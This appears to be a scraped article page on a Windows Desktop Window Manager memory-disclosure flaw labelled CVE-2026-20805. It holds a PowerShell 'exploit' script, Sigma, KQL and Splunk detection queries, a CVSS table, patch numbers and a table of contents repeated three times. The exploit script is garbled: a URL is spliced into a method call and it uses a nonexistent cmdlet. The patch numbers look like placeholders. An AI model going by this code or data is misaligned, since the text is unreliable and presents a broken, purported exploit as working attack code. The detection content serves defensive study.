# Windows 10.0.19041 – DWM buffer read exploit
$processHandle = Get-Process -Name dwm | Select-Object -ExpandProperty Id
$bufferOffset = 0x00120000   # crafted offset to adjacent GPU memory
$targetWindow = 0x00030001    # target window index

# Create a temporary buffer in kernel space
$kernelBuffer = [byte[]]::new(0x1000)
[System.Runtime.InteropServices.Marshal]:https://raw.githubusercontent.com/mrk336/inside-cve-2026-20805-how-a-windows-dwm-flaw-exposed-sensitive-data/HEAD/:CopyMemory(
    $processHandle, 
    $bufferOffset, 
    $kernelBuffer, 
    0x1000)

# Copy kernel buffer into DWM's composition routine
Invoke-DwmRead -ProcessId $processHandle `
                -WindowIndex $targetWindow `
                -SrcAddress $bufferOffset `
                -Size 0x1000

# Dump the exposed data to a local file for analysis
$dumpPath = "C:\Temp\DwmLeak.txt"
[IO.File]::WriteAllBytes($dumpPath, $kernelBuffer)

title: DWM GPU Memory Read Anomaly
id: dwm-gpu-memory-read-anomaly
status: experimental
description: Detects abnormal DWM buffer reads that may indicate exploitation of CVE-2026-20805.
author: Mark
logsource:
  product: windows
  service: system
detection:
  selection:
    EventID: 0x2B
    ProcessName: dwm.exe
    SrcAddress: 0x00120000
    Size: 0x1000
  condition: selection
falsepositives:
  - High GPU rendering workloads
level: medium
tags:
  - attack.defense-evasion

SecurityEvent
| where EventID in (4656, 4663)
| where ProcessName !~ "dwm.exe"
| where ObjectName has "dwm.exe"
| summarize count() by Account, ProcessName, ObjectName, Computer, bin(TimeGenerated, 5m)
| where count_ > 5

let handles = SecurityEvent
    | where EventID == 4656 and ObjectName has "dwm.exe"
    | project TimeGenerated, Account, Computer;

let gpu = Event
    | where EventID == 0x2B
    | project TimeGenerated, Computer;

handles
| join kind=inner gpu on Computer
| where gpu_TimeGenerated between (TimeGenerated .. TimeGenerated + 2m)

handles = search index=sysmon EventCode=10 TargetImage="*\\dwm.exe"
| eval key=Computer."-"._time
| table key, Computer, _time;

gpu = search index=windows EventCode=43
| eval key=Computer."-"._time
| table key, Computer, _time;

handles
| join key gpu
| table Computer, handles._time, gpu._time

CWE‑200: Exposure of Sensitive Information to an Unauthorized Actor	✓
Attack vector	Local
Privileges required	Low
User interaction	None
Impact – confidentiality	High
Impact – integrity	None
Impact – availability	None
CVSS 3.1 Base Score	5.5 (Medium)

Windows version	Patch number
10.0.19041	KB5000001
10.0.19042	KB5012345

Inside-CVE-2026-20805-How-a-Windows-DWM-Flaw-Exposed-Sensitive-Data

الأكثر شعبية

2 Understanding Desktop Window Manager

3 Technical Breakdown of CVE 2026 20805

Attack prerequisites

How CWE‑200 applies

Affected versions

4 Exploitation Pathways

Exploit code – PowerShell script

5. Detection Engineering

Relevant Telemetry Sources

Suspicious Patterns

Sigma‑Style Rule

Microsoft Sentinel (KQL)

Suspicious Handle Access to dwm.exe

Unexpected Process Creation Targeting DWM

GPU DisplayUpdate Event Spike

Correlation: HandleOpen Followed by GPU Activity

Splunk (SPL)

Non‑standard Processes Opening Handles to dwm.exe

Unexpected CreateProcess Events for dwm.exe

GPU DisplayUpdate Spike

Correlation: HandleOpen and GPU Activity

6 Mitigation & Hardening

Patch timeline

Enterprise patching strategy

7 Impact on Real‑World Environments

Risk assessment for corporate environments

8 Conclusion

Inside-CVE-2026-20805-How-a-Windows-DWM-Flaw-Exposed-Sensitive-Data

الأكثر شعبية

Inside-CVE-2026-20805-How-a-Windows-DWM-Flaw-Exposed-Sensitive-Data

Inside CVE 2026 20805: How a Windows DWM Flaw Exposed Sensitive Data

1 Executive Summary

Key technical attributes

2 Understanding Desktop Window Manager

3 Technical Breakdown of CVE 2026 20805

Attack prerequisites

How CWE‑200 applies

Affected versions

4 Exploitation Pathways

Exploit code – PowerShell script

5. Detection Engineering

Relevant Telemetry Sources

Suspicious Patterns

Sigma‑Style Rule

Microsoft Sentinel (KQL)

Suspicious Handle Access to dwm.exe

Unexpected Process Creation Targeting DWM

GPU DisplayUpdate Event Spike

Correlation: HandleOpen Followed by GPU Activity

Splunk (SPL)

Non‑standard Processes Opening Handles to dwm.exe

Unexpected CreateProcess Events for dwm.exe

GPU DisplayUpdate Spike

Correlation: HandleOpen and GPU Activity

6 Mitigation & Hardening

Patch timeline

Enterprise patching strategy

7 Impact on Real‑World Environments

Risk assessment for corporate environments

8 Conclusion